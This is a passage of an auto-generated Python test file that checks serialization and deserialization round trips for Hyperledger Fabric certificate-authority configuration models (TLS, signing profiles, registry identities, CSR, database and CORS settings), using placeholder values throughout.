config_ca_intermediate_parentserver_model2 = ConfigCAIntermediateParentserver(**config_ca_intermediate_parentserver_model_dict)
# Verify the model instances are equivalent
assert config_ca_intermediate_parentserver_model == config_ca_intermediate_parentserver_model2
# Convert model instance back to dict and verify no loss of data
config_ca_intermediate_parentserver_model_json2 = config_ca_intermediate_parentserver_model.to_dict()
assert config_ca_intermediate_parentserver_model_json2 == config_ca_intermediate_parentserver_model_json
class TestConfigCAIntermediateTls():
"""
Test Class for ConfigCAIntermediateTls
"""
def test_config_ca_intermediate_tls_serialization(self):
"""
Test serialization/deserialization for ConfigCAIntermediateTls
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_intermediate_tls_client_model = {} # ConfigCAIntermediateTlsClient
config_ca_intermediate_tls_client_model['certfile'] = 'testString'
config_ca_intermediate_tls_client_model['keyfile'] = 'testString'
# Construct a json representation of a ConfigCAIntermediateTls model
config_ca_intermediate_tls_model_json = {}
config_ca_intermediate_tls_model_json['certfiles'] = ['testString']
config_ca_intermediate_tls_model_json['client'] = config_ca_intermediate_tls_client_model
# Construct a model instance of ConfigCAIntermediateTls by calling from_dict on the json representation
config_ca_intermediate_tls_model = ConfigCAIntermediateTls.from_dict(config_ca_intermediate_tls_model_json)
assert config_ca_intermediate_tls_model != False
# Construct a model instance of ConfigCAIntermediateTls by calling from_dict on the json representation
config_ca_intermediate_tls_model_dict = ConfigCAIntermediateTls.from_dict(config_ca_intermediate_tls_model_json).__dict__
config_ca_intermediate_tls_model2 = ConfigCAIntermediateTls(**config_ca_intermediate_tls_model_dict)
# Verify the model instances are equivalent
assert config_ca_intermediate_tls_model == config_ca_intermediate_tls_model2
# Convert model instance back to dict and verify no loss of data
config_ca_intermediate_tls_model_json2 = config_ca_intermediate_tls_model.to_dict()
assert config_ca_intermediate_tls_model_json2 == config_ca_intermediate_tls_model_json
class TestConfigCAIntermediateTlsClient():
"""
Test Class for ConfigCAIntermediateTlsClient
"""
def test_config_ca_intermediate_tls_client_serialization(self):
"""
Test serialization/deserialization for ConfigCAIntermediateTlsClient
"""
# Construct a json representation of a ConfigCAIntermediateTlsClient model
config_ca_intermediate_tls_client_model_json = {}
config_ca_intermediate_tls_client_model_json['certfile'] = 'testString'
config_ca_intermediate_tls_client_model_json['keyfile'] = 'testString'
# Construct a model instance of ConfigCAIntermediateTlsClient by calling from_dict on the json representation
config_ca_intermediate_tls_client_model = ConfigCAIntermediateTlsClient.from_dict(config_ca_intermediate_tls_client_model_json)
assert config_ca_intermediate_tls_client_model != False
# Construct a model instance of ConfigCAIntermediateTlsClient by calling from_dict on the json representation
config_ca_intermediate_tls_client_model_dict = ConfigCAIntermediateTlsClient.from_dict(config_ca_intermediate_tls_client_model_json).__dict__
config_ca_intermediate_tls_client_model2 = ConfigCAIntermediateTlsClient(**config_ca_intermediate_tls_client_model_dict)
# Verify the model instances are equivalent
assert config_ca_intermediate_tls_client_model == config_ca_intermediate_tls_client_model2
# Convert model instance back to dict and verify no loss of data
config_ca_intermediate_tls_client_model_json2 = config_ca_intermediate_tls_client_model.to_dict()
assert config_ca_intermediate_tls_client_model_json2 == config_ca_intermediate_tls_client_model_json
class TestConfigCARegistryIdentitiesItem():
"""
Test Class for ConfigCARegistryIdentitiesItem
"""
def test_config_ca_registry_identities_item_serialization(self):
"""
Test serialization/deserialization for ConfigCARegistryIdentitiesItem
"""
# Construct dict forms of any model objects needed in order to build this model.
identity_attrs_model = {} # IdentityAttrs
identity_attrs_model['hf.Registrar.Roles'] = '*'
identity_attrs_model['hf.Registrar.DelegateRoles'] = '*'
identity_attrs_model['hf.Revoker'] = True
identity_attrs_model['hf.IntermediateCA'] = True
identity_attrs_model['hf.GenCRL'] = True
identity_attrs_model['hf.Registrar.Attributes'] = '*'
identity_attrs_model['hf.AffiliationMgr'] = True
# Construct a json representation of a ConfigCARegistryIdentitiesItem model
config_ca_registry_identities_item_model_json = {}
config_ca_registry_identities_item_model_json['name'] = 'admin'
config_ca_registry_identities_item_model_json['pass'] = 'password'
config_ca_registry_identities_item_model_json['type'] = 'client'
config_ca_registry_identities_item_model_json['maxenrollments'] = -1
config_ca_registry_identities_item_model_json['affiliation'] = 'testString'
config_ca_registry_identities_item_model_json['attrs'] = identity_attrs_model
# Construct a model instance of ConfigCARegistryIdentitiesItem by calling from_dict on the json representation
config_ca_registry_identities_item_model = ConfigCARegistryIdentitiesItem.from_dict(config_ca_registry_identities_item_model_json)
assert config_ca_registry_identities_item_model != False
# Construct a model instance of ConfigCARegistryIdentitiesItem by calling from_dict on the json representation
config_ca_registry_identities_item_model_dict = ConfigCARegistryIdentitiesItem.from_dict(config_ca_registry_identities_item_model_json).__dict__
config_ca_registry_identities_item_model2 = ConfigCARegistryIdentitiesItem(**config_ca_registry_identities_item_model_dict)
# Verify the model instances are equivalent
assert config_ca_registry_identities_item_model == config_ca_registry_identities_item_model2
# Convert model instance back to dict and verify no loss of data
config_ca_registry_identities_item_model_json2 = config_ca_registry_identities_item_model.to_dict()
assert config_ca_registry_identities_item_model_json2 == config_ca_registry_identities_item_model_json
class TestConfigCASigningDefault():
"""
Test Class for ConfigCASigningDefault
"""
def test_config_ca_signing_default_serialization(self):
"""
Test serialization/deserialization for ConfigCASigningDefault
"""
# Construct a json representation of a ConfigCASigningDefault model
config_ca_signing_default_model_json = {}
config_ca_signing_default_model_json['usage'] = ['cert sign']
config_ca_signing_default_model_json['expiry'] = '8760h'
# Construct a model instance of ConfigCASigningDefault by calling from_dict on the json representation
config_ca_signing_default_model = ConfigCASigningDefault.from_dict(config_ca_signing_default_model_json)
assert config_ca_signing_default_model != False
# Construct a model instance of ConfigCASigningDefault by calling from_dict on the json representation
config_ca_signing_default_model_dict = ConfigCASigningDefault.from_dict(config_ca_signing_default_model_json).__dict__
config_ca_signing_default_model2 = ConfigCASigningDefault(**config_ca_signing_default_model_dict)
# Verify the model instances are equivalent
assert config_ca_signing_default_model == config_ca_signing_default_model2
# Convert model instance back to dict and verify no loss of data
config_ca_signing_default_model_json2 = config_ca_signing_default_model.to_dict()
assert config_ca_signing_default_model_json2 == config_ca_signing_default_model_json
class TestConfigCASigningProfiles():
"""
Test Class for ConfigCASigningProfiles
"""
def test_config_ca_signing_profiles_serialization(self):
"""
Test serialization/deserialization for ConfigCASigningProfiles
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_signing_profiles_ca_caconstraint_model = {} # ConfigCASigningProfilesCaCaconstraint
config_ca_signing_profiles_ca_caconstraint_model['isca'] = True
config_ca_signing_profiles_ca_caconstraint_model['maxpathlen'] = 0
config_ca_signing_profiles_ca_caconstraint_model['maxpathlenzero'] = True
config_ca_signing_profiles_ca_model = {} # ConfigCASigningProfilesCa
config_ca_signing_profiles_ca_model['usage'] = ['cert sign']
config_ca_signing_profiles_ca_model['expiry'] = '43800h'
config_ca_signing_profiles_ca_model['caconstraint'] = config_ca_signing_profiles_ca_caconstraint_model
config_ca_signing_profiles_tls_model = {} # ConfigCASigningProfilesTls
config_ca_signing_profiles_tls_model['usage'] = ['cert sign']
config_ca_signing_profiles_tls_model['expiry'] = '43800h'
# Construct a json representation of a ConfigCASigningProfiles model
config_ca_signing_profiles_model_json = {}
config_ca_signing_profiles_model_json['ca'] = config_ca_signing_profiles_ca_model
config_ca_signing_profiles_model_json['tls'] = config_ca_signing_profiles_tls_model
# Construct a model instance of ConfigCASigningProfiles by calling from_dict on the json representation
config_ca_signing_profiles_model = ConfigCASigningProfiles.from_dict(config_ca_signing_profiles_model_json)
assert config_ca_signing_profiles_model != False
# Construct a model instance of ConfigCASigningProfiles by calling from_dict on the json representation
config_ca_signing_profiles_model_dict = ConfigCASigningProfiles.from_dict(config_ca_signing_profiles_model_json).__dict__
config_ca_signing_profiles_model2 = ConfigCASigningProfiles(**config_ca_signing_profiles_model_dict)
# Verify the model instances are equivalent
assert config_ca_signing_profiles_model == config_ca_signing_profiles_model2
# Convert model instance back to dict and verify no loss of data
config_ca_signing_profiles_model_json2 = config_ca_signing_profiles_model.to_dict()
assert config_ca_signing_profiles_model_json2 == config_ca_signing_profiles_model_json
class TestConfigCASigningProfilesCa():
"""
Test Class for ConfigCASigningProfilesCa
"""
def test_config_ca_signing_profiles_ca_serialization(self):
"""
Test serialization/deserialization for ConfigCASigningProfilesCa
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_signing_profiles_ca_caconstraint_model = {} # ConfigCASigningProfilesCaCaconstraint
config_ca_signing_profiles_ca_caconstraint_model['isca'] = True
config_ca_signing_profiles_ca_caconstraint_model['maxpathlen'] = 0
config_ca_signing_profiles_ca_caconstraint_model['maxpathlenzero'] = True
# Construct a json representation of a ConfigCASigningProfilesCa model
config_ca_signing_profiles_ca_model_json = {}
config_ca_signing_profiles_ca_model_json['usage'] = ['cert sign']
config_ca_signing_profiles_ca_model_json['expiry'] = '43800h'
config_ca_signing_profiles_ca_model_json['caconstraint'] = config_ca_signing_profiles_ca_caconstraint_model
# Construct a model instance of ConfigCASigningProfilesCa by calling from_dict on the json representation
config_ca_signing_profiles_ca_model = ConfigCASigningProfilesCa.from_dict(config_ca_signing_profiles_ca_model_json)
assert config_ca_signing_profiles_ca_model != False
# Construct a model instance of ConfigCASigningProfilesCa by calling from_dict on the json representation
config_ca_signing_profiles_ca_model_dict = ConfigCASigningProfilesCa.from_dict(config_ca_signing_profiles_ca_model_json).__dict__
config_ca_signing_profiles_ca_model2 = ConfigCASigningProfilesCa(**config_ca_signing_profiles_ca_model_dict)
# Verify the model instances are equivalent
assert config_ca_signing_profiles_ca_model == config_ca_signing_profiles_ca_model2
# Convert model instance back to dict and verify no loss of data
config_ca_signing_profiles_ca_model_json2 = config_ca_signing_profiles_ca_model.to_dict()
assert config_ca_signing_profiles_ca_model_json2 == config_ca_signing_profiles_ca_model_json
class TestConfigCASigningProfilesCaCaconstraint():
"""
Test Class for ConfigCASigningProfilesCaCaconstraint
"""
def test_config_ca_signing_profiles_ca_caconstraint_serialization(self):
"""
Test serialization/deserialization for ConfigCASigningProfilesCaCaconstraint
"""
# Construct a json representation of a ConfigCASigningProfilesCaCaconstraint model
config_ca_signing_profiles_ca_caconstraint_model_json = {}
config_ca_signing_profiles_ca_caconstraint_model_json['isca'] = True
config_ca_signing_profiles_ca_caconstraint_model_json['maxpathlen'] = 0
config_ca_signing_profiles_ca_caconstraint_model_json['maxpathlenzero'] = True
# Construct a model instance of ConfigCASigningProfilesCaCaconstraint by calling from_dict on the json representation
config_ca_signing_profiles_ca_caconstraint_model = ConfigCASigningProfilesCaCaconstraint.from_dict(config_ca_signing_profiles_ca_caconstraint_model_json)
assert config_ca_signing_profiles_ca_caconstraint_model != False
# Construct a model instance of ConfigCASigningProfilesCaCaconstraint by calling from_dict on the json representation
config_ca_signing_profiles_ca_caconstraint_model_dict = ConfigCASigningProfilesCaCaconstraint.from_dict(config_ca_signing_profiles_ca_caconstraint_model_json).__dict__
config_ca_signing_profiles_ca_caconstraint_model2 = ConfigCASigningProfilesCaCaconstraint(**config_ca_signing_profiles_ca_caconstraint_model_dict)
# Verify the model instances are equivalent
assert config_ca_signing_profiles_ca_caconstraint_model == config_ca_signing_profiles_ca_caconstraint_model2
# Convert model instance back to dict and verify no loss of data
config_ca_signing_profiles_ca_caconstraint_model_json2 = config_ca_signing_profiles_ca_caconstraint_model.to_dict()
assert config_ca_signing_profiles_ca_caconstraint_model_json2 == config_ca_signing_profiles_ca_caconstraint_model_json
class TestConfigCASigningProfilesTls():
"""
Test Class for ConfigCASigningProfilesTls
"""
def test_config_ca_signing_profiles_tls_serialization(self):
"""
Test serialization/deserialization for ConfigCASigningProfilesTls
"""
# Construct a json representation of a ConfigCASigningProfilesTls model
config_ca_signing_profiles_tls_model_json = {}
config_ca_signing_profiles_tls_model_json['usage'] = ['cert sign']
config_ca_signing_profiles_tls_model_json['expiry'] = '43800h'
# Construct a model instance of ConfigCASigningProfilesTls by calling from_dict on the json representation
config_ca_signing_profiles_tls_model = ConfigCASigningProfilesTls.from_dict(config_ca_signing_profiles_tls_model_json)
assert config_ca_signing_profiles_tls_model != False
# Construct a model instance of ConfigCASigningProfilesTls by calling from_dict on the json representation
config_ca_signing_profiles_tls_model_dict = ConfigCASigningProfilesTls.from_dict(config_ca_signing_profiles_tls_model_json).__dict__
config_ca_signing_profiles_tls_model2 = ConfigCASigningProfilesTls(**config_ca_signing_profiles_tls_model_dict)
# Verify the model instances are equivalent
assert config_ca_signing_profiles_tls_model == config_ca_signing_profiles_tls_model2
# Convert model instance back to dict and verify no loss of data
config_ca_signing_profiles_tls_model_json2 = config_ca_signing_profiles_tls_model.to_dict()
assert config_ca_signing_profiles_tls_model_json2 == config_ca_signing_profiles_tls_model_json
class TestConfigCATlsClientauth():
"""
Test Class for ConfigCATlsClientauth
"""
def test_config_ca_tls_clientauth_serialization(self):
"""
Test serialization/deserialization for ConfigCATlsClientauth
"""
# Construct a json representation of a ConfigCATlsClientauth model
config_ca_tls_clientauth_model_json = {}
config_ca_tls_clientauth_model_json['type'] = 'noclientcert'
config_ca_tls_clientauth_model_json['certfiles'] = ['testString']
# Construct a model instance of ConfigCATlsClientauth by calling from_dict on the json representation
config_ca_tls_clientauth_model = ConfigCATlsClientauth.from_dict(config_ca_tls_clientauth_model_json)
assert config_ca_tls_clientauth_model != False
# Construct a model instance of ConfigCATlsClientauth by calling from_dict on the json representation
config_ca_tls_clientauth_model_dict = ConfigCATlsClientauth.from_dict(config_ca_tls_clientauth_model_json).__dict__
config_ca_tls_clientauth_model2 = ConfigCATlsClientauth(**config_ca_tls_clientauth_model_dict)
# Verify the model instances are equivalent
assert config_ca_tls_clientauth_model == config_ca_tls_clientauth_model2
# Convert model instance back to dict and verify no loss of data
config_ca_tls_clientauth_model_json2 = config_ca_tls_clientauth_model.to_dict()
assert config_ca_tls_clientauth_model_json2 == config_ca_tls_clientauth_model_json
class TestConfigCAUpdate():
"""
Test Class for ConfigCAUpdate
"""
def test_config_ca_update_serialization(self):
"""
Test serialization/deserialization for ConfigCAUpdate
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_cors_model = {} # ConfigCACors
config_ca_cors_model['enabled'] = True
config_ca_cors_model['origins'] = ['*']
config_ca_tls_clientauth_model = {} # ConfigCATlsClientauth
config_ca_tls_clientauth_model['type'] = 'noclientcert'
config_ca_tls_clientauth_model['certfiles'] = ['testString']
config_ca_tls_model = {} # ConfigCATls
config_ca_tls_model['keyfile'] = 'testString'
config_ca_tls_model['certfile'] = 'testString'
config_ca_tls_model['clientauth'] = config_ca_tls_clientauth_model
config_ca_ca_model = {} # ConfigCACa
config_ca_ca_model['keyfile'] = 'testString'
config_ca_ca_model['certfile'] = 'testString'
config_ca_ca_model['chainfile'] = 'testString'
config_ca_crl_model = {} # ConfigCACrl
config_ca_crl_model['expiry'] = '24h'
identity_attrs_model = {} # IdentityAttrs
identity_attrs_model['hf.Registrar.Roles'] = '*'
identity_attrs_model['hf.Registrar.DelegateRoles'] = '*'
identity_attrs_model['hf.Revoker'] = True
identity_attrs_model['hf.IntermediateCA'] = True
identity_attrs_model['hf.GenCRL'] = True
identity_attrs_model['hf.Registrar.Attributes'] = '*'
identity_attrs_model['hf.AffiliationMgr'] = True
config_ca_registry_identities_item_model = {} # ConfigCARegistryIdentitiesItem
config_ca_registry_identities_item_model['name'] = 'admin'
config_ca_registry_identities_item_model['pass'] = 'password'
config_ca_registry_identities_item_model['type'] = 'client'
config_ca_registry_identities_item_model['maxenrollments'] = -1
config_ca_registry_identities_item_model['affiliation'] = 'testString'
config_ca_registry_identities_item_model['attrs'] = identity_attrs_model
config_ca_registry_model = {} # ConfigCARegistry
config_ca_registry_model['maxenrollments'] = -1
config_ca_registry_model['identities'] = [config_ca_registry_identities_item_model]
config_ca_db_tls_client_model = {} # ConfigCADbTlsClient
config_ca_db_tls_client_model['certfile'] = 'testString'
config_ca_db_tls_client_model['keyfile'] = 'testString'
config_ca_db_tls_model = {} # ConfigCADbTls
config_ca_db_tls_model['certfiles'] = ['testString']
config_ca_db_tls_model['client'] = config_ca_db_tls_client_model
config_ca_db_tls_model['enabled'] = False
config_ca_db_model = {} # ConfigCADb
config_ca_db_model['type'] = 'postgres'
config_ca_db_model['datasource'] = 'host=fake.databases.appdomain.cloud port=31941 user=ibm_cloud password=password dbname=ibmclouddb sslmode=verify-full'
config_ca_db_model['tls'] = config_ca_db_tls_model
config_ca_affiliations_model = {} # ConfigCAAffiliations
config_ca_affiliations_model['org1'] = ['department1']
config_ca_affiliations_model['org2'] = ['department1']
config_ca_affiliations_model['foo'] = { 'foo': 'bar' }
config_ca_csr_keyrequest_model = {} # ConfigCACsrKeyrequest
config_ca_csr_keyrequest_model['algo'] = 'ecdsa'
config_ca_csr_keyrequest_model['size'] = 256
config_ca_csr_names_item_model = {} # ConfigCACsrNamesItem
config_ca_csr_names_item_model['C'] = 'US'
config_ca_csr_names_item_model['ST'] = 'North Carolina'
config_ca_csr_names_item_model['L'] = 'Raleigh'
config_ca_csr_names_item_model['O'] = 'Hyperledger'
config_ca_csr_names_item_model['OU'] = 'Fabric'
config_ca_csr_ca_model = {} # ConfigCACsrCa
config_ca_csr_ca_model['expiry'] = '131400h'
config_ca_csr_ca_model['pathlength'] = 0
config_ca_csr_model = {} # ConfigCACsr
config_ca_csr_model['cn'] = 'ca'
config_ca_csr_model['keyrequest'] = config_ca_csr_keyrequest_model
config_ca_csr_model['names'] = [config_ca_csr_names_item_model]
config_ca_csr_model['hosts'] = ['localhost']
config_ca_csr_model['ca'] = config_ca_csr_ca_model
config_ca_idemix_model = {} # ConfigCAIdemix
config_ca_idemix_model['rhpoolsize'] = 100
config_ca_idemix_model['nonceexpiration'] = '15s'
config_ca_idemix_model['noncesweepinterval'] = '15m'
bccsp_sw_model = {} # BccspSW
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
bccsp_pkc_s11_model = {} # BccspPKCS11
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
bccsp_model = {} # Bccsp
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
config_ca_intermediate_parentserver_model = {} # ConfigCAIntermediateParentserver
config_ca_intermediate_parentserver_model['url'] = 'testString'
config_ca_intermediate_parentserver_model['caname'] = 'testString'
config_ca_intermediate_enrollment_model = {} # ConfigCAIntermediateEnrollment
config_ca_intermediate_enrollment_model['hosts'] = 'localhost'
config_ca_intermediate_enrollment_model['profile'] = 'testString'
config_ca_intermediate_enrollment_model['label'] = 'testString'
config_ca_intermediate_tls_client_model = {} # ConfigCAIntermediateTlsClient
config_ca_intermediate_tls_client_model['certfile'] = 'testString'
config_ca_intermediate_tls_client_model['keyfile'] = 'testString'
config_ca_intermediate_tls_model = {} # ConfigCAIntermediateTls
config_ca_intermediate_tls_model['certfiles'] = ['testString']
config_ca_intermediate_tls_model['client'] = config_ca_intermediate_tls_client_model
config_ca_intermediate_model = {} # ConfigCAIntermediate
config_ca_intermediate_model['parentserver'] = config_ca_intermediate_parentserver_model
config_ca_intermediate_model['enrollment'] = config_ca_intermediate_enrollment_model
config_ca_intermediate_model['tls'] = config_ca_intermediate_tls_model
config_ca_cfg_identities_model = {} # ConfigCACfgIdentities
config_ca_cfg_identities_model['passwordattempts'] = 10
config_ca_cfg_identities_model['allowremove'] = False
config_ca_cfg_model = {} # ConfigCACfg
config_ca_cfg_model['identities'] = config_ca_cfg_identities_model
metrics_statsd_model = {} # MetricsStatsd
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
metrics_model = {} # Metrics
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
# Construct a json representation of a ConfigCAUpdate model
config_ca_update_model_json = {}
config_ca_update_model_json['cors'] = config_ca_cors_model
config_ca_update_model_json['debug'] = False
config_ca_update_model_json['crlsizelimit'] = 512000
config_ca_update_model_json['tls'] = config_ca_tls_model
config_ca_update_model_json['ca'] = config_ca_ca_model
config_ca_update_model_json['crl'] = config_ca_crl_model
config_ca_update_model_json['registry'] = config_ca_registry_model
config_ca_update_model_json['db'] = config_ca_db_model
config_ca_update_model_json['affiliations'] = config_ca_affiliations_model
config_ca_update_model_json['csr'] = config_ca_csr_model
config_ca_update_model_json['idemix'] = config_ca_idemix_model
config_ca_update_model_json['BCCSP'] = bccsp_model
config_ca_update_model_json['intermediate'] = config_ca_intermediate_model
config_ca_update_model_json['cfg'] = config_ca_cfg_model
config_ca_update_model_json['metrics'] = metrics_model
# Construct a model instance of ConfigCAUpdate by calling from_dict on the json representation
config_ca_update_model = ConfigCAUpdate.from_dict(config_ca_update_model_json)
assert config_ca_update_model != False
# Construct a model instance of ConfigCAUpdate by calling from_dict on the json representation
config_ca_update_model_dict = ConfigCAUpdate.from_dict(config_ca_update_model_json).__dict__
config_ca_update_model2 = ConfigCAUpdate(**config_ca_update_model_dict)
# Verify the model instances are equivalent
assert config_ca_update_model == config_ca_update_model2
# Convert model instance back to dict and verify no loss of data
config_ca_update_model_json2 = config_ca_update_model.to_dict()
assert config_ca_update_model_json2 == config_ca_update_model_json
class TestConfigCAAffiliations():
"""
Test Class for ConfigCAAffiliations
"""
def test_config_ca_affiliations_serialization(self):
"""
Test serialization/deserialization for ConfigCAAffiliations
"""
# Construct a json representation of a ConfigCAAffiliations model
config_ca_affiliations_model_json = {}
config_ca_affiliations_model_json['org1'] = ['department1']
config_ca_affiliations_model_json['org2'] = ['department1']
config_ca_affiliations_model_json['foo'] = { 'foo': 'bar' }
# Construct a model instance of ConfigCAAffiliations by calling from_dict on the json representation
config_ca_affiliations_model = ConfigCAAffiliations.from_dict(config_ca_affiliations_model_json)
assert config_ca_affiliations_model != False
# Construct a model instance of ConfigCAAffiliations by calling from_dict on the json representation
config_ca_affiliations_model_dict = ConfigCAAffiliations.from_dict(config_ca_affiliations_model_json).__dict__
config_ca_affiliations_model2 = ConfigCAAffiliations(**config_ca_affiliations_model_dict)
# Verify the model instances are equivalent
assert config_ca_affiliations_model == config_ca_affiliations_model2
# Convert model instance back to dict and verify no loss of data
config_ca_affiliations_model_json2 = config_ca_affiliations_model.to_dict()
assert config_ca_affiliations_model_json2 == config_ca_affiliations_model_json
class TestConfigCACa():
"""
Test Class for ConfigCACa
"""
def test_config_ca_ca_serialization(self):
"""
Test serialization/deserialization for ConfigCACa
"""
# Construct a json representation of a ConfigCACa model
config_ca_ca_model_json = {}
config_ca_ca_model_json['keyfile'] = 'testString'
config_ca_ca_model_json['certfile'] = 'testString'
config_ca_ca_model_json['chainfile'] = 'testString'
# Construct a model instance of ConfigCACa by calling from_dict on the json representation
config_ca_ca_model = ConfigCACa.from_dict(config_ca_ca_model_json)
assert config_ca_ca_model != False
# Construct a model instance of ConfigCACa by calling from_dict on the json representation
config_ca_ca_model_dict = ConfigCACa.from_dict(config_ca_ca_model_json).__dict__
config_ca_ca_model2 = ConfigCACa(**config_ca_ca_model_dict)
# Verify the model instances are equivalent
assert config_ca_ca_model == config_ca_ca_model2
# Convert model instance back to dict and verify no loss of data
config_ca_ca_model_json2 = config_ca_ca_model.to_dict()
assert config_ca_ca_model_json2 == config_ca_ca_model_json
class TestConfigCACfg():
"""
Test Class for ConfigCACfg
"""
def test_config_ca_cfg_serialization(self):
"""
Test serialization/deserialization for ConfigCACfg
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_cfg_identities_model = {} # ConfigCACfgIdentities
config_ca_cfg_identities_model['passwordattempts'] = 10
config_ca_cfg_identities_model['allowremove'] = False
# Construct a json representation of a ConfigCACfg model
config_ca_cfg_model_json = {}
config_ca_cfg_model_json['identities'] = config_ca_cfg_identities_model
# Construct a model instance of ConfigCACfg by calling from_dict on the json representation
config_ca_cfg_model = ConfigCACfg.from_dict(config_ca_cfg_model_json)
assert config_ca_cfg_model != False
# Construct a model instance of ConfigCACfg by calling from_dict on the json representation
config_ca_cfg_model_dict = ConfigCACfg.from_dict(config_ca_cfg_model_json).__dict__
config_ca_cfg_model2 = ConfigCACfg(**config_ca_cfg_model_dict)
# Verify the model instances are equivalent
assert config_ca_cfg_model == config_ca_cfg_model2
# Convert model instance back to dict and verify no loss of data
config_ca_cfg_model_json2 = config_ca_cfg_model.to_dict()
assert config_ca_cfg_model_json2 == config_ca_cfg_model_json
class TestConfigCACors():
"""
Test Class for ConfigCACors
"""
def test_config_ca_cors_serialization(self):
"""
Test serialization/deserialization for ConfigCACors
"""
# Construct a json representation of a ConfigCACors model
config_ca_cors_model_json = {}
config_ca_cors_model_json['enabled'] = True
config_ca_cors_model_json['origins'] = ['*']
# Construct a model instance of ConfigCACors by calling from_dict on the json representation
config_ca_cors_model = ConfigCACors.from_dict(config_ca_cors_model_json)
assert config_ca_cors_model != False
# Construct a model instance of ConfigCACors by calling from_dict on the json representation
config_ca_cors_model_dict = ConfigCACors.from_dict(config_ca_cors_model_json).__dict__
config_ca_cors_model2 = ConfigCACors(**config_ca_cors_model_dict)
# Verify the model instances are equivalent
assert config_ca_cors_model == config_ca_cors_model2
# Convert model instance back to dict and verify no loss of data
config_ca_cors_model_json2 = config_ca_cors_model.to_dict()
assert config_ca_cors_model_json2 == config_ca_cors_model_json
class TestConfigCACrl():
"""
Test Class for ConfigCACrl
"""
def test_config_ca_crl_serialization(self):
"""
Test serialization/deserialization for ConfigCACrl
"""
# Construct a json representation of a ConfigCACrl model
config_ca_crl_model_json = {}
config_ca_crl_model_json['expiry'] = '24h'
# Construct a model instance of ConfigCACrl by calling from_dict on the json representation
config_ca_crl_model = ConfigCACrl.from_dict(config_ca_crl_model_json)
assert config_ca_crl_model != False
# Construct a model instance of ConfigCACrl by calling from_dict on the json representation
config_ca_crl_model_dict = ConfigCACrl.from_dict(config_ca_crl_model_json).__dict__
config_ca_crl_model2 = ConfigCACrl(**config_ca_crl_model_dict)
# Verify the model instances are equivalent
assert config_ca_crl_model == config_ca_crl_model2
# Convert model instance back to dict and verify no loss of data
config_ca_crl_model_json2 = config_ca_crl_model.to_dict()
assert config_ca_crl_model_json2 == config_ca_crl_model_json
class TestConfigCACsr():
"""
Test Class for ConfigCACsr
"""
def test_config_ca_csr_serialization(self):
"""
Test serialization/deserialization for ConfigCACsr
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_csr_keyrequest_model = {} # ConfigCACsrKeyrequest
config_ca_csr_keyrequest_model['algo'] = 'ecdsa'
config_ca_csr_keyrequest_model['size'] = 256
config_ca_csr_names_item_model = {} # ConfigCACsrNamesItem
config_ca_csr_names_item_model['C'] = 'US'
config_ca_csr_names_item_model['ST'] = 'North Carolina'
config_ca_csr_names_item_model['L'] = 'Raleigh'
config_ca_csr_names_item_model['O'] = 'Hyperledger'
config_ca_csr_names_item_model['OU'] = 'Fabric'
config_ca_csr_ca_model = {} # ConfigCACsrCa
config_ca_csr_ca_model['expiry'] = '131400h'
config_ca_csr_ca_model['pathlength'] = 0
# Construct a json representation of a ConfigCACsr model
config_ca_csr_model_json = {}
config_ca_csr_model_json['cn'] = 'ca'
config_ca_csr_model_json['keyrequest'] = config_ca_csr_keyrequest_model
config_ca_csr_model_json['names'] = [config_ca_csr_names_item_model]
config_ca_csr_model_json['hosts'] = ['localhost']
config_ca_csr_model_json['ca'] = config_ca_csr_ca_model
# Construct a model instance of ConfigCACsr by calling from_dict on the json representation
config_ca_csr_model = ConfigCACsr.from_dict(config_ca_csr_model_json)
assert config_ca_csr_model != False
# Construct a model instance of ConfigCACsr by calling from_dict on the json representation
config_ca_csr_model_dict = ConfigCACsr.from_dict(config_ca_csr_model_json).__dict__
config_ca_csr_model2 = ConfigCACsr(**config_ca_csr_model_dict)
# Verify the model instances are equivalent
assert config_ca_csr_model == config_ca_csr_model2
# Convert model instance back to dict and verify no loss of data
config_ca_csr_model_json2 = config_ca_csr_model.to_dict()
assert config_ca_csr_model_json2 == config_ca_csr_model_json
class TestConfigCADb():
"""
Test Class for ConfigCADb
"""
def test_config_ca_db_serialization(self):
"""
Test serialization/deserialization for ConfigCADb
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_db_tls_client_model = {} # ConfigCADbTlsClient
config_ca_db_tls_client_model['certfile'] = 'testString'
config_ca_db_tls_client_model['keyfile'] = 'testString'
config_ca_db_tls_model = {} # ConfigCADbTls
config_ca_db_tls_model['certfiles'] = ['testString']
config_ca_db_tls_model['client'] = config_ca_db_tls_client_model
config_ca_db_tls_model['enabled'] = False
# Construct a json representation of a ConfigCADb model
config_ca_db_model_json = {}
config_ca_db_model_json['type'] = 'postgres'
config_ca_db_model_json['datasource'] = 'host=fake.databases.appdomain.cloud port=31941 user=ibm_cloud password=password dbname=ibmclouddb sslmode=verify-full'
config_ca_db_model_json['tls'] = config_ca_db_tls_model
# Construct a model instance of ConfigCADb by calling from_dict on the json representation
config_ca_db_model = ConfigCADb.from_dict(config_ca_db_model_json)
assert config_ca_db_model != False
# Construct a model instance of ConfigCADb by calling from_dict on the json representation
config_ca_db_model_dict = ConfigCADb.from_dict(config_ca_db_model_json).__dict__
config_ca_db_model2 = ConfigCADb(**config_ca_db_model_dict)
# Verify the model instances are equivalent
assert config_ca_db_model == config_ca_db_model2
# Convert model instance back to dict and verify no loss of data
config_ca_db_model_json2 = config_ca_db_model.to_dict()
assert config_ca_db_model_json2 == config_ca_db_model_json
class TestConfigCAIdemix():
"""
Test Class for ConfigCAIdemix
"""
def test_config_ca_idemix_serialization(self):
"""
